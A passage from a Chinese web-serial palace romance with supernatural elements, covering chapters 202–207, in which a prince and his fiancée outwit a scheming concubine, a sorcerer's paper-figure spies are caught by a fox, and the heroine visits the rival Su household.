……
回到王府,墨云寒直接去了后院,却发现只有莲儿一人正抱着一个小包袱正往前院走。
“王妃呢?”
莲儿赶紧行礼。
“见过王爷,王妃搬去了前院正殿,说床上的纱幔不好,让奴婢来取这边的纱幔过去换掉。”
墨云寒的表情有些控制不住,冷峭的唇角不自主的往上翘起。
“嗯,知道了。”
说罢率先大步去了前院。
正殿的庭院内。
各处的灯笼已经高高挂起,本来肃穆冷情的院子,此刻热闹非凡。
舒雅院的丫鬟小厮全都来了,正张罗着布菜。
郑成业也被宋氏放了出来,此刻正拘谨的杵在一旁。
见到墨云寒进来,立刻跑了过去。
“堂哥。”
众人齐齐行礼。
“王爷!”
墨云寒随手摆了摆,抬眸扫过四周却并没有看到江清婉。
正疑惑,就见宋玉书和江清婉挽着手从殿内走了出来,有说有笑,甚是亲密。
墨云寒的唇角再次勾起,低咳一声,迎了上去。
“舅母,怎么想着来我院内设宴?”
宋玉书笑着打趣。
“你也是要成家的人了,以后这院内的事情,我自然要跟王妃商量,哪里用得着你出主意?”
墨云寒这才将眸子落在江清婉的身上。
虽压着情愫,可炙热之感,却又如实质般牢牢紧锁。
江清婉被他看得浑身不自在,抬眸瞪了过去。
却又不自知地带着几分娇嗔,几分小女儿家的羞赧。
那张绝美的小脸,让人爱不释手。 墨云寒下意识抬手,却在这时,院门外传来小厮的高呼。
“云姨娘到。”
第202章 你有何冤
热闹的气氛戛然而止。
唯有郑成业甚是开心。
“筱然姐。”
云筱然穿着粉紫的裙褂,挽着妇人的发髻,露出白净的脖颈和胸前特意挤压过的饱满。
风情万种的盈盈行礼。
“云寒哥哥。”
墨云寒的脸色瞬间冷了下来。
“今日设宴,是为王妃迁入正殿而设,你身为姨娘,未得宣召,擅自来此,是嫌那十杖打的轻了吗?”
云筱然似受了惊吓般缩了缩,更显我见犹怜。
江清婉走到墨云寒身边浅笑解释,“是我叫她来的。”
墨云寒皱眉低头。
“为何?”
这女人不会又想将他推出去吧?
她若敢,今夜他定然……
江清婉并没有注意到墨云寒眼底的变化,忽地抬手挽住了他的手臂,眸光看向云筱然,一身素雅,却似贵气天成,即便站在墨云寒身边,仍毫不逊色。
“云姨娘虽只是姨娘,却是太后所赏,今日我正式搬入正殿,筹备与王爷的大婚,她理应在场,祝我们一杯酒。”
说话间,她的眸子扫向云筱然的身后。
此番跟来伺候的,依旧是李嬷嬷和一个贴身的丫鬟,并无其他陌生面孔。
她将目光收回,再次落在云筱然的身上。
每一个降头师,都有自己特有的生蛊。
和识海一般,是修行的根本。
而这种生蛊的气息,随着修为的增加,是可以完全掩盖的。
不过现在云筱然身上,多了一层不属于她的气息。
很阴,如一层浅浅的黑气,萦绕在她的腰腹部。
这也是让江清婉最奇怪的。
为什么会是腰腹部?
云筱然被看得心中发虚,故意将手挡在小腹位置再次盈盈拜了拜。
“云寒哥哥,筱然真的知错了,以后会谨言慎行,做好本分,好好服侍你……还有王妃姐姐。”
她不甘的看着二人亲昵的身影。
眼底的恨意却也是转瞬即逝,将表面的乖巧做到了极致。
郑成业心疼不已。
“堂哥,你不要再难为筱然姐了。”
宋玉书气的压不住火。
“有你堂哥堂嫂在,哪里有你说话的份,给我滚过来。”
郑成业被关了好几日,连第一阶段的会考大比都错过了。
他将这一切都怪在江清婉的身上,气鼓鼓的跺了跺脚。
可有墨云寒在,他也不敢造次,只能乖乖回到了宋玉书的身边。
气氛凝滞尴尬,江清婉却并不在意。
招呼众人落座,竟亲自给云筱然斟了一杯酒递了过去。
“说祝辞吧。”
云筱然还在想尽浑身解数,计划着今夜怎么将墨云寒骗去她的风雅筑,闻言愣了愣。
江清婉挑眉。
“莫不是云姨娘并不祝福我跟王爷?”
云筱然心里恨不得将酒泼在江清婉脸上,可却又不得不忍耐。
恭敬接过,故意冲着墨云寒福了福身,那个高度,那个距离,胸前风光展露无疑。
“筱然祝愿云寒哥哥此生幸福顺遂。”
说罢就要饮酒,墨云寒却忽地道,“说错了。”
云筱然愣住。
江清婉却在看那杯酒。
一个没注意就被墨云寒给抱了起来直接摁在了腿上。
“你干什么?”
她微微皱眉挣扎,墨云寒却忽地吧唧一口亲在了她的脸蛋子上。
异常响亮。
“云姨娘应该祝愿本王与王妃琴瑟和鸣,鸾凤和谐。”
云筱然差点咬碎了牙。
气的五官都有些扭曲。
江清婉无语。
要说杀人诛心,谁能有这男人会。
她没再挣扎,乖顺的往他怀里一靠。
又娇又媚。
“云姨娘还是快些说罢,你若不说,还不知他要做出什么出格的事情,这么多人在,我的脸皮可受不住。”
云筱然的胸口剧烈起伏。
咬牙切齿的勉强扬起小脸,却因为太过紧绷,比哭还要难看。
“云寒哥哥的愿望,便是筱然的愿望。”
说完似再也撑不住一般,仰头将酒喝干,眼泪也随之滚落。
谁见了不心疼几分。
郑成业都已经快憋不住了,疼惜的恨不得过去扶她。
云筱然却痴痴地看着墨云寒。
期盼着得到一丝垂怜疼惜。
可墨云寒此刻正跟江清婉斗智斗勇。
一个想逃,一个不准,哪里有时间去看她的楚楚可怜。
云筱然恨得眼角都红了,只得自己站起来期期艾艾的抹着眼泪坐在椅子上,状似无意的看了眼郑成业,故意摆出一副欲哭无泪的哀怨。
郑成业更觉心疼。
刚要帮她说两句话,就被宋玉书一把拽住。
威慑的目光扫过来,带着警告。
郑成业气鼓鼓地晃了下身子,却没敢再开口。
云筱然拿起筷子正准备给墨云寒夹菜,江清婉忽地道,“你怎么还不走?”
吧嗒。
夹在筷子中的糖醋小排掉在了桌子上。
云筱然难以置信的看着她。
已经是忍无可忍。
“王妃,我已经祝了酒,您还要欺负我吗?”
江清婉拍开墨云寒的手坐回椅子上,眸色悠然。
“是啊,你已经祝了酒,为什么还在这里?莫不是还想吃饭?那不行,我看见你就犯恶心,下去吧。”
她摆摆小手。
如遣散侍奉的丫鬟小厮。
云筱然肺都要炸了。
“云寒哥哥,你看看她……”
不等她告完状,就被墨云寒冷冷打断。
“王妃的话你没听到吗?一个姨娘本就没有与本王同桌的资格,还不滚?”
云筱然愤恨难平。
“云寒哥哥,她故意戏耍我,我可是太后……”
墨云寒冷笑一声。
“你央求太后以姨娘身份入府的时候,不是应该猜到会有这个结果吗?你若不喜,尽可求了太后出府,一个姨娘,连和离书都用不上。无人拦你。”
云筱然只觉自己所有的算计全都被剥开摆在了明面上。
郑成业再也憋不住。
他站起身道,“筱然姐,我支持你,你是尊贵的县主,何必因为情情爱爱自贱身份。堂哥不爱你,你回县主府便是,也免得再受这般委屈。”
旁人不说,云筱然还能有个台阶下。
如今被郑成业直接喊了出来。
她只觉双脸滚烫,随即噗通一下跪在地上,做最后的挣扎。
“云寒哥哥,那日我入府,整个长安街的人都看见了,我若是离开,旁人怎么看我?还不如我一死了之。”
墨云寒漠然的看着她。
“这不是你自己求来的结果吗?你有何冤?”
云筱然顿时噎了个半死。
第203章 死脑筋
回到风雅筑,
云筱然将能砸的东西全砸了个遍。
木真平静的看着她。
等她发泄完后才道,“县主,您现在所做的事,只能是无用功,您今日去正殿前我就说过,您去,是自取其辱。”
云筱然恨恨的猛拍桌子。
“墨云寒已经回来了,你不是要帮我达成所愿吗?还不动手!”
木真看了眼她的肚子,神情诡异的笑了一下。
“这几日吧,你安分等着便是。”
她说完转身走了,根本理都不理身后发脾气的云筱然。
李嬷嬷让丫鬟将地面收拾干净,扶着云筱然往内室走。
“县主,您稍安勿躁,您想想今日城门之事,苏县主肯定比您更安耐不住,何不等她冲锋陷阵,咱们再坐收渔利,您这样闹,王爷只会更偏袒江氏那个小贱人,越到这个时候,您应该越表现的不争不抢,方为上策。”
云筱然瞥她一眼,情绪却是稳定了不少。
“我就是看不得那个小贱蹄子得意,一个下贱的下堂妇,也不知道被秦明朗玩过多少次了,王爷竟然当成宝,气死我了。”
她忽又想起什么,拉住李嬷嬷的胳膊问,“宫里可有消息传来?”
李嬷嬷小声道,“皇上将秦将军暂押天牢,但并未降罪,应还有转机。老奴觉得,苏家肯定出手。”
云筱然冷笑一声。
“那就看看苏玉兰的本事吧。”
……
用过膳之后,宋玉书就带着郑成业走了。
回到听涛小筑后,宋玉书屏退了小厮,语重心长道,“成业,有些事,母亲不愿你知晓,是想护着你一片赤子之心,可你实在是黑白不分,再这般胡闹下去,怕是要惹出祸端。”
憋了一顿饭的郑成业此刻再也压不住火。
“娘,我知道你想说什么?无非就是筱然姐做了什么错事,让我不要护着她。可是娘,我跟筱然姐认识了这么多年,我很了解她,她只是喜欢堂哥而已,仅此而已,你们是不是对她太过苛责了。”
他抬手指了指外面。
“整个王府的人,随便一个下人,都敢嘲笑她,她是县主啊,是英烈之后,是该被我们敬重的,你们这样诋毁欺辱她,能心安吗?”
宋玉书此刻是万分后悔没有早点跟郑成业说清楚云筱然做的那些事情。
如今再解释,反倒真的成了众人污蔑构陷。
郑成业烦闷的坐在书桌前。
“娘,我已经不是以前的小孩子了。经历上次的事情以后我想了很多,太学院内常有人议论朝局,过去,我也只是听听,偶尔借鉴两句摘抄于政策论中,可并未入心。上次朝堂对峙,让我明白了你们为什么排斥筱然姐,因为筱然姐的背后是太后,是皇上……”
“成业!”
宋玉书紧急叫停他,神色异常凝重。
“你胡乱想这些东西做什么?”
郑成业却并不认为是自己多想。
“娘,您劝劝表哥,筱然姐虽是太后教养,可她是真的喜欢表哥,若表哥真的不能做她的良人,还请给她一个好的归处,莫要如此待她。”
宋玉书气的想抽她。
“你知道什么啊?是她在明知你表哥请旨赐婚后还要太后赐嫁,坐着太后的銮驾带着凤冠上门逼婚,是她屡次要害人性命,被戳穿后仍不思悔改,是她……”
“娘!”
郑成业气的跺了跺脚。
“她为什么非要自取其辱,不就是因为江清婉妖妇之名吗?她是担心您和表哥的安危才忍气吞声,您也是女子,怎么也不理解她?”
宋玉书捂着胸口,指着他半天说不出话来。
“你明日就给我回太学院中,我会跟首院交代,没有我的允许,你不准请假回家,府中诸事,你不准再理,否则,我就送你回你外祖母家,莫要再回京。”
说完她拂袖而去。
却并未注意到,一个小纸人趴在听涛小筑的墙上,将这一切都听了去。
……
正殿的庭院内,
丫鬟小厮已经将院子收拾干净。
江清婉坐在李斗搬来的藤椅上,轻轻晃动着小脚,眸光懒懒地看着天空,淡蓝色的衣裙,衬着小小的一团。
脚边位置,蜷着一只火红的狐狸,不是摇着尾巴假寐。
书房内,墨云寒正在处理军务。
抬眸间,从敞开的窗子正好能看到这一幕。
莫名觉得安宁。
这时莲儿端着茶具,李斗端着茶炉一前一后地走了过来。
“小姐,宋夫人送的花茶,您尝尝?”
江清婉还在看着天空,零星的星星已经从夜幕中冒了出来。
闪烁着淡淡的光芒,忽明忽暗。
紫微星被乌云遮住,连一点光芒都看不到。
江清婉心里叹了口气,摆了摆小手道,
“搬两个小凳过来,你们陪我一起品品。”
李斗放下茶炉,闷声照做。
炉火烧的滚烫。
茶壶咕噜噜冒起了白烟,莲儿正要冲茶,江清婉忽地坐了起来。
“我来。你们这一路跟着我,也辛苦了。”
莲儿怔了怔。
“小姐,您怎么说话怪怪的?”
江清婉笑道,“我正心疼你们,想着给你们的月银加一加……”
“加!”莲儿开心的起身福了福,“多谢小姐体恤。”
江清婉嗔怪的看了她一眼,给他们各人倒了一杯。
“尝尝。”
莲儿端起,见李斗不动,忙用肩膀碰了碰他。
李斗回神,猛地将茶盏端起一饮而尽。
“李斗,烫!”
莲儿急的阻止却没来得及。
李斗被烫的呲牙咧嘴吐着舌头一阵哈气。
小红无比嫌弃的看了一眼。
屁股一扭,调转了个方向,忽地发现了什么,整个人都变得精神起来,四蹄一蹬朝着屋脊的方向飞跃而去。
江清婉瞥了一眼,并没有去管。
看着莲儿用帕子帮李斗擦拭,没两下忽地身体晃了晃,一头扎进了李斗的怀里。
李斗吓了一跳,手忙脚乱的扶住她,紧急的去看江清婉。
“别喝,有毒。”
江清婉的眼神,和小红的眼神如出一辙。
“这是我沏的茶,我又没准备自杀。”
李斗愣住,又低头看了看莲儿,见她小脸红润,只是睡着了,顿时松了口气。
“小的先送她回去。”
“不急!”
江清婉抿了口茶,花香四溢,新鲜采摘炒制,的确是佳品。
李斗的身体明显僵了僵。
低着脑袋不敢去看江清婉。
江清婉将茶盏放下,目光落在他身上并没有去猜。
“跟我说说,你在何处见过那鬼面石像。”
第204章 斗法小纸人
李斗的呼吸骤然重了几分。
姿势却始终没有动。
江清婉倒也不等他开口,继续说道,“鬼面石像应是大隋之物,你若认识,应当……”
“我不知道。”
李斗忽然抬头,似被踩到了尾巴的猫,神情异常紧张,“我……我真的记不得了。”
他说完又快速把头低下。
犹豫了好一会儿才再次开口。
“在清风寨里,我看到了好多血,脑子就开始疼,后来,就出现了很多模糊的画面,听到了很多很吵的声音。到处都是血,我……我很害怕。”
他的身体抑制不住轻轻的发着抖。
“那个石像,我在记忆中看到过,但是我不记得它代表什么,我真的,真的看不清楚。”
江清婉知道,他没有说谎。
当初救他回府,江清婉找了钟元给他看过。
他的脑袋受过重击,又受了很大的刺激,因而神志不清。
她问过钟元可有复原的可能。
钟元给她的回答是除非场景重现。
但谁也不知道李斗受刺激的场景是什么,又如何能重现。
可李斗受伤的时间跟大隋和大周那场大战的时间并不符合。
一时间,江清婉也想不出,到底还有什么大战跟着鬼面石像有关。
她敛下心神,抬手轻轻拍了拍李斗的肩膀。
“既然想不起来就不要再想,如果老天想让你知晓前尘往事,一定会给你机会知晓,在这之前,你想再多也没有用。”
李斗红了眼眶。
抿着唇半天憋出一句话。
“我怕连累小姐和莲儿。”
江清婉轻轻笑了笑。
“若是为此纠结,那大可不必。你和莲儿是我的人,只要你们不走,没有人能撵你们走,记住了吗?”
李斗慌了许久的心,终于缓缓落下。
他重重的点了点头。
江清婉摆摆小手。
“带莲儿去休息吧,若再想起什么,直接跟我说,不要自己钻牛角尖。”
“好。”
李斗抱着莲儿站起身,朝着江清婉鞠了一躬。
他刚离开,小红就窜了过来,将一个小纸人啪的一爪子拍在了地上,却又很快松开,等那小纸人颤颤巍巍地站起来想跑,它却再次扑过去一爪子拍死。
如猫玩老鼠一般戏耍,偏偏就不弄死你。
风雅筑的小院里,木真都快被折腾吐血了,愤怒的再次施法。
小红刚一松爪子,小纸人忽地继续跃起。
速度比之前几次快了很多,小红一爪子没捞到,呲着牙发出低吼飞窜而去。
没几下就又追上,啪啪连拍了好几爪子。
那小纸人的脑袋都给拍裂了,蔫蔫的在地上挣扎了几次,头一歪,彻底没了动静。
此刻的木真被闪的一个踉跄,气息一阵翻滚。
眼中黑瞳覆盖,转瞬即逝。
她深吸一口气冷笑一声。
“这女人,果然有些本事,那就让我再试试你到底有几斤几两。”
她并不知道,出手的,会是一只狐狸。
剑指虚空环绕,腰间束带内再次探出两个小纸人,闪身飞了出去。
小红用爪子扒拉着碎掉的纸人很是不爽。
江清婉又窝回躺椅上。
“谁让你不收着点力,没得玩了吧。”
小红呲着牙准备将小纸人吃掉。
江清婉忙提醒了一声。
“降头师的东西别吃,小心拉肚子。”
小红被呛得打了个喷嚏,耷拉着脑袋正准备趴回江清婉身边,忽地耳朵一抖,再次朝着屋脊方向飞跃而去。
江清婉朝这个方向看了一眼,憋不住想笑。
一回头,眼前却落下一片阴影。
墨云寒单手撑在藤椅的边上,俯身看着她,逆着月光的脸神色晦暗难测,冷峭的唇噙着笑,低沉的嗓音说不出的温柔。
“在跟它玩什么?”
江清婉顿时乐开了花。
俏皮狡黠的眨巴眨巴眼睛。
“在玩捉老鼠的游戏。”
墨云寒被她的笑容晃得心痒。
握着藤椅边缘的手指不由紧了紧。
“老鼠在哪?”
从清风寨回京的路上,江清婉跟他聊得很好。
彼此之间关系拉近很多,而且她发现,有些话,似乎也只有跟他能聊。
当下并未隐瞒。
“王府进来了一只老鼠,我还没找到在哪,不过饵料已经准备好,她应该很快出现。”
墨云寒微微皱了下眉。
“冲你来的?”
江清婉微挑了一下漂亮的眼尾。
“你不会真以为我没了修为就会任人宰割吧?”
墨云寒没说话,眸光灼灼的看着她。
她还是不习惯他这种眼神,抬手轻轻推了推,顺势坐起。
“喝茶吗?味道还不错。”
墨云寒收回目光,坐在了刚刚李斗做过的小凳子上。
那么大个身形,莫名显得有几分委屈。
江清婉心有不忍。
拍了拍身侧的位置道,“你坐这边。”
墨云寒眼底闪过一丝笑意,却故意道,“坐那边喝茶就不会被你迷晕吗?”
他话中有话,显然刚刚莲儿突然昏睡过去他是看到的。
可江清婉却又听出另一层撩拨。
抬脚踹在他的小腿上。
“你爱坐不坐。”
墨云寒这才低低笑了出来。
坐在她身边,看着沏茶递到他手边。
却是连那只小手一起握住。
“我说过,任何事,你都可以依靠我,我会护着你,这个承诺,永远都不会变。”
掌心的温热烫的手臂都有些发麻,江清婉快速抽回。
“知道了,我很惜命,用不着你提醒。”
墨云寒将茶盏凑到唇边轻轻喝了一口。
香醇清甜,更适合女子去饮。
他握在手中没再继续,顿了顿还是忍不住问道,
“江清婉,你怎么不问问秦明朗是如何被处置的?”
江清婉瞥他一眼。
“这一次还死不了,他的寿数还有起伏。”
墨云寒不由好奇。
“那我的寿数你可算得出?”
江清婉摇头。
“没算过。”
“为何不算?”墨云寒略有些不爽,“我现在是你的夫君。你给秦明朗算不给我算?”
江清婉无语的瞪着他。
“你很想死吗?”
墨云寒噎了一下。
这时小红从屋脊上飞落而下。
一爪子一个,啪啪将两个小纸人摁在了地上。
得意的翘起尾巴,忽地转过大脑袋,咧着嘴冲墨云寒笑,笑得甚是不怀好意。
墨云寒还未反应过来。
忽然小红抓起两个奋力挣扎的小纸人,直接扔了过来。
墨云寒还以为它要扑过来,刚要伸手接,忽觉两道阴寒之气扑面而来。
不等他回神,两个小纸人就已经爬上了他的肩膀。
似乎嗅到了什么对他们有着极致吸引的气息,动作灵活如小鬼一般,贪婪的竟顺着他的领口方向试图钻进去。
第205章 王妃才是第一位
墨云寒只觉那股阴寒之气往皮肤里钻。
不等他有所行动。
两个小纸人却又似受到了巨大的惊吓,连滚带爬的从他领口滚落,飞奔着往天上窜。
下一刻,又被小红一爪子拍在摁在地上。
小红歪着脑袋盯着墨云寒看。
显然很不解他刚刚是怎么做到的。
墨云寒诧异的看向江清婉。
“这东西就是你说的老鼠?”
江清婉没解释,小手隔空点了点小红的方向。
“行了,放回去吧。”
小红不甘心的扒拉了两下,松开了爪子。
那两个小纸人得了自由,立刻飞窜着跑了。
于此同时,一道黑影也随之一闪而过。
是夜十三。
江清婉并没有看到。
经此一遭,那纸人是断然不会再过来。
不过那只小老鼠会不会再有其他动作,她并不确定。
她从藤椅上站起身往寝殿内走。
“小红,守在外面。”
小红冲着墨云寒扬起脑袋,跳到藤椅上,支棱起耳朵环顾四周,威风凛凛。
颇有一种,你不行,只有我才会被重用的得意。
墨云寒也站起身,抬手呼噜了一下它的脑袋。
“听话,好好守着,我要陪我的娘子就寝了。”
远处树杈上守着的暗卫一个趔趄,差点一头栽下来。
他家冷面神一样的王爷,竟然跟一只狐狸争宠。
果然七统领所言不虚,以后这王府内,王妃才是第一位。
刚刚还威风凛凛的小红,整个表情都龟裂在那张狐狸脸上,显得特别滑稽可笑。
正准备关门的江清婉看着紧跟着进来的墨云寒,愣了愣。
忽地想起这并不是后院自己一人的寝卧,便将手松开,伸了个懒腰坦然自若的往床榻走。
随口解释着她为什么会搬来。 “后院被人动了风水,我跟你住会安全些,从今天起,你睡地上。”
她坐在床边指了指莲儿分开整理好的被褥。
一套昂贵的丝质云朵锦棉绒被,浅蓝色绣花工艺,另一套是皇室专供,绣着龙蟒五爪的浅灰色锦缎被,可质地,要比绒被偏硬一些。
墨云寒看了一眼,侧身也坐在了床边。
“你我还未大婚,自然不能同房。”
江清婉下意识的抬起身往旁边挪了挪,下一刻就被男人大手一捞摁进了怀里。
“你怕什么?”
“谁怕了!”
江清婉被戳破了伪装,气鼓鼓的瞪着他。
像一只炸了毛的猫儿。
墨云寒噙着笑欺身压下。
“真不怕?”
炙热的呼吸蹭着脸颊。
两个人的身体几乎紧贴。
江清婉梗着脖子想怼回去,敏感的耳垂却忽地被墨云寒修长的指骨轻轻的掐住。
力道不大,有一丝疼,却更多的是无法遏制的酥麻感。
“嗯!”
江清婉没忍住发出一声呻吟。
等自己听到之后,整个人僵在原地,片刻后手脚并用的从男人身上爬下来,直接钻进了被子里。
怀中骤然一空。
墨云寒的心突突乱跳,忽地低头闷闷的笑了起来。
胸腔的气鼓动着嗓音,低哑撩人。
江清婉恼羞的跳脚踹了过来。
“你再笑就滚出去睡。”
墨云寒也不躲,被她结结实实踹在腰间,大手一捞,擒住了她的脚踝。
“绣鞋还没脱。”
“不用你管!”
虽不爽,却还是乖乖任由男人将鞋子脱下放在了床榻边。
江清婉以为墨云寒会耍赖跟着上床。
没想到他竟真的很听话的拿了被褥铺在了床边地上,倾身躺了上去。 江清婉侧过头看他。
屋内只在屏风位置点了一盏夜灯。
光线并不亮,倒是显得月光更加皎白,照在男人的侧脸上,投下浅淡的阴影。
“地上……凉吗?”
墨云寒转过身对着她,双眸却是闭着的。
“你可千万别心软可怜我,要不然我容易得寸进尺,到时候哭的可是你。”
江清婉心里最后一丝愧疚也没了。
背过身哼了一声,很快沉沉睡了过去。
听着她均匀的呼吸声,墨云寒缓缓睁开双眼,悄无声息的起身走到窗边。
夜十三的声音在窗外响起。
“纸人去了风雅筑,要动手吗?”
墨云寒沉思片刻后道,“不急,此事只当不知,吩咐暗卫营所有人,无论何时何地,护好王妃为首要任务。”
“是!”
回京后的第三天。
早朝开了整整两个时辰,吵得昭阳殿的房顶几乎被掀翻。
一个个消息,如雨后春笋般呼呼冒了出来。
“大隋余孽渗透进兵部当值,欲从内部瓦解大周军政,幸得九王睿智,挖出幕后真凶,还京城安宁。”
“秦明朗将军,以身试险,假意投敌,与九王配合,绞杀逆贼于清风寨中,更假意被擒,忍辱负重,引藏匿于京城中的逆贼一网打尽。”
“三十三名逆贼,于明日在菜市口斩首示众,秦明朗将军监斩,以彰显大周国威。”
“兵部左侍郎通敌叛国,私运火药,私造兵器,畏罪自缢于家中,其亲眷发配边关以儆效尤。”
“为嘉奖有功之臣,明日宫中设晚宴,赐百席于民间,君民同乐。”
一时间在京中掀起惊涛骇浪。
而此时,江清婉正陪着墨青蕊和傅安安在茶楼饮茶。
听着楼下热烈的讨论,墨青蕊忍不住摇了摇头。
“这大周的天,是越来越黑喽。”
傅安安娇笑着用帕子掩着红唇。
“我的县主姐姐,您什么时候开始忧思朝政了。”
墨青蕊看向江清婉。
“江妹子,秦明朗是我小九叔亲自押回京城的,当时城门口的事情闹得是沸沸扬扬,如今这个结局,怕是在朝中会引起轩然大波。”
江清婉吃着晶莹剔透的果铺,闻言笑了笑。 “天塌不下来。”
傅安安点头,给她重新倒了一杯茶。
“江妹子说的没错,这天塌不下来。”
墨青蕊急道,“你们不懂。我虽从不去理会朝堂上的事情,可我毕竟比我小九叔大了几岁,他这一路走来,我都是看在眼里的。他的位置实在……”
她一时之间不知道该怎么表达。
傅安安好奇。
“九王爷可是大周威名赫赫的战神,又是太上皇最宠爱的小儿子,就连皇上不也是很宠爱他吗?而且听下面人的议论,此番功劳最大的便是九王爷,有何可担心的?”
墨青蕊轻轻摇了摇头,也没多做解释。
世人的理解,与傅安安无疑。
可只有身在皇家的人才最清楚。
皇权之下,并无亲情。
所谓的宠爱也不过是权衡利弊之后的权宜之计。
若这权宜之计不再需要,又能有多少真情。
这时花店的小厮急匆匆的跑了过来。
“掌柜的,有大生意上门,小的们不敢定夺,您快回去一趟吧。”
第206章 你有血光之灾
傅安安有些意犹未尽。
“今日怕是见不到淮君和陆宁了。”
墨青蕊摆摆手。
“她们皆有亲人身在朝堂,这时候怕是没时间出门,你快去忙吧。”
等傅安安离开,墨青蕊起身坐在了江清婉的身边压低了声音道,“你劝劝小九叔,太上皇年迈,不知何时就撒手人寰。这以后的大周,自然是以皇帝为尊。人在屋檐下,莫要强出头啊。”
江清婉对此并不担心。
那是墨云寒该考虑的事情,与她何干。
她更好奇的是另一点。
“你见过墨云寒的母妃吗?”
墨青蕊的脸色骤变,下意识的摇头。
“没有,我……我没见过。”
江清婉单手托腮。
“墨云寒的母妃是一只妖?”
“噗!”
正喝茶压惊的墨青蕊惊得直接将茶水喷了出来。
江清婉拿出帕子递给她。
“看来真的是一只妖。”
墨青蕊恨不得过去捂她的嘴。
“小九婶,此事你万不可提。”
江清婉盯着她的眸子,再次开口。
“我在墨云寒的书房内曾看到一幅画像,一个很漂亮的女人,戴着华丽的额饰……”
墨青蕊猛地站了起来,脸色惨白如纸。
“小九婶,我忽然想起还有些事情要忙,就……就不陪你了。”
说完仓皇离开。
江清婉歪着脑袋注视着她离开,一只小手轻轻敲着桌面。
“青穗!”
守在厢房外的青穗立刻走了进来。
“王妃。”
江清婉抬眸,“我让你调查苏巍川的事,墨云寒可知晓?”
青穗想了想,很诚恳的点了点头。 “若王爷问询,那些人是不会不答的。您不愿王爷知道?”
江清婉摇头。
“没想瞒他,只是他易多心,做起事来反倒麻烦。”
她站起身。
“走吧,我们去一趟苏王府。”
青穗大惊。
“您要去见苏巍川?不行,太危险了。”
江清婉笑道,“我又不是去闯府门,也不是偷窃杀人,光明正大地去拜会,有何危险?”
青穗挡在前面。
“还是通知王爷吧。”
“青穗,你不是夜十九。”
江清婉一句话噎的青穗再也没法拦。
夜十九的主子是墨云寒。
而青穗的主子是江清婉。
青穗无奈,只能陪着。
门房拿着九王府的拜帖,跌跌撞撞的跑去了佛心堂。
险些撞倒刚刚从里面出来的苏玉兰。
苏玉兰此刻早就没了前几日的惶恐。
一脸的红光满面,得意洋洋。
看到为躲闪她而跌倒的门房,厌烦的一脚踹了上去。
“不长眼的狗东西,弄脏了本县主的裙摆,还不自己掌嘴。”
春梅捡起了地上掉落的拜帖,看了眼上面烫金的字眼,立刻递给了苏玉兰。
“县主,是九王府的拜帖。”
苏玉兰立刻接了过去,展开一看,不由的笑出了声。
“是九王爷吗?”
门房摇头。
“不是,是九王妃。”
苏玉兰将拜帖撕碎扔在地上还狠狠的踩了两脚。
“什么狗屁的九王妃,还没有大婚,没有祭祖,她算个什么东西,竟然还敢跑来苏王府见祖父,本县主倒要看看她在打着什么主意。”
听到开门声,江清婉回头。 看着气势汹汹走出来的苏玉兰,微微怔了怔。
青穗警惕地上前一步侧身挡在江清婉身前,小声道,“王妃,不如先回府,他日再来。”
江清婉抬手将她推开。
“不用那么麻烦。我今日是一定刚要见到苏老王爷的。”
“见我祖父?你也配!”苏玉兰居高临下的站在石阶之上,满眼讽刺。
“我知道你是来干什么的?不就是因为秦明朗没有如九王所愿被皇上惩处吗?你竟然能想出找我祖父告状的这个法子,还真是愚不可及。”
江清婉没说话。
苏玉兰更加得意。
“九王为了你这么一个贱人,一再陷害我夫君,可惜朗朗乾坤,终有真相大白的一天,皇上英名,岂会受你等小人的挑拨。现如今皇上体恤我夫君忍辱负重,已拟旨让我夫君做真正的大理寺司正。从今以后,我夫君便是受皇上庇护之人。欺负我夫君,便是跟皇上对抗,江清婉,你的好日子,到头了。”
江清婉依旧没有说话。
苏玉兰看着她过于平静的小脸,仿佛一拳砸在了棉花上,莫名窜起一股怒火。
“你是哑巴了吗?我们苏家不缺站岗门房,赶紧给我滚。”
江清婉这才轻声叹了口气。
“你今日有血光之灾。”
苏玉兰愣了愣,咯咯娇笑起来。
“哎呦呦,你真还当自己是无所不能可预知未来的天师了?那你有没有算到,我夫君会绝地逢生,富贵临门,九王爷会竹篮子打水一场空?”
江清婉淡淡笑道。
“每一个看见镜花水月的人,也都如你这般癫狂欢喜。”
苏玉兰脸上的笑瞬间凝住。
“什么镜花水月?你再敢胡说八道,信不信我撕烂你的嘴。”
青穗冷嗤。
“那你试试是你快还是我快?”
苏玉兰被她森冷的目光骇道,下意识往后退了一步。
春梅赶紧扶住她。
“县主,您现在可是在王府门口,她若敢行凶,必死无疑。”
苏玉兰的心瞬间定了定。
故意往前挺了挺胸。
“你有种就动手啊?”
只要对方先动手,她便是遇袭。
到时候就可光明正大的叫王府的府兵出来,将这二人毒打一顿。 江清婉抬手拍了拍青穗的手臂。
“她很快就会被揍的很惨,无需你动手。”
苏玉兰被她神神鬼鬼的话弄的火冒三丈。
“江清婉,你不要以为我真的不敢对你动手?”
“胡闹!”
一声低喝从府内传来。
苏玉兰吓得后背一紧立刻回头。
只见苏巍川大步走了过来。
她心下一惊,想起刚刚江清婉的预言急急辩解。
“祖父,是她胡言乱语,诅咒我与明朗,还要对我动手。明朗现在深得皇上恩宠,她如此行径,岂不是有辱皇恩,我只是一时气不过。”
苏巍川冷冷的看了她一眼,却并未发作。
而是冲着江清婉做了个请的动作。
“请九王妃入内一叙。”
江清婉微微福身算是见礼,脚步抬起踏上石阶。
经过苏玉兰身边时忽地道,“苏老王爷,您是大周两代功臣,自是礼数周全,倒是不知苏家家教如何?”
苏巍川的眼底骤然闪了闪,脸色也随之一沉。
“兰儿,行礼。”
第207章 摊开来战
苏玉兰气得跺脚。
可自幼在苏巍川的威慑下长大却又根本不敢反抗,只能不情不愿地福了福身。
“见过九王妃。”
江清婉悠然的看向她,片刻后抬起手。
“起来吧,苏县主久离京都,这礼数生疏了不少,秦将军现在也是正儿八经的二品朝臣,身为朝臣主母,可要好好学学。”
苏玉兰下意识反驳。
“你一个商籍贱民,也配……”
她话没说完就被苏巍川厉声打断。
“跪下!”
“祖父!”
苏玉兰急得想哭。
苏巍川却冰冷的看着她。
“跪足一个时辰,否则以后就不要再登苏家的门!”
说完再次做了个请的动作。
江清婉淡笑着称赞。
“老王爷果然是朝臣楷模,怪不得深得圣心。”
随后跟着苏巍川入了苏王府的门。
两个门房杵在门口看着她。
刚刚被她踹了一脚命令其掌嘴的门房小声说道,“县主,您快跪吧,王爷问起我们也好交差!”
苏玉兰恶狠狠地瞪了过去。
“用得着你催!狗东西!”
她心里恨得要死,却又不得不跪。
